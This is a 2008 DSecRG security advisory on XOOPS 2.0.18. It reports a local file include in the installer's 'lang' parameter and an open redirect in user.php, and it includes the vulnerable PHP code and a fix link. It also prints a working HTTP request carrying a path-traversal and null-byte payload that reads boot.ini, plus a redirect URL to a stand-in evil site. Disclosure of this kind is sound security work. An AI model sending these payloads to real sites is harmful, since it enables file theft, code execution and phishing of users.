Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009


Application:                    XOOPS
Versions Affected:              XOOPS 2.0.18
Vendor URL:                     http://www.xoops.org/
Bugs:                           Local File Include,URL Redirecting  phishing
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                28.01.2008
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)





Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


Details
*******


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php  vulnerable POST parameter lang



vulnerable code:

************************************************



$language = 'english';
if ( !empty($_POST['lang']) ) {
    $language = $_POST['lang'];
.
.
.
.



if ( file_exists("./language/".$language."/install.php") ) {
    include_once "./language/".$language."/install.php";


************************************************









Example:


POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next










---------------------------------------------------------------------


2. URL Redirection phishing 

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" 


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com 



Fix Information
***************


Vendor  fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586





About
*****

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Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)







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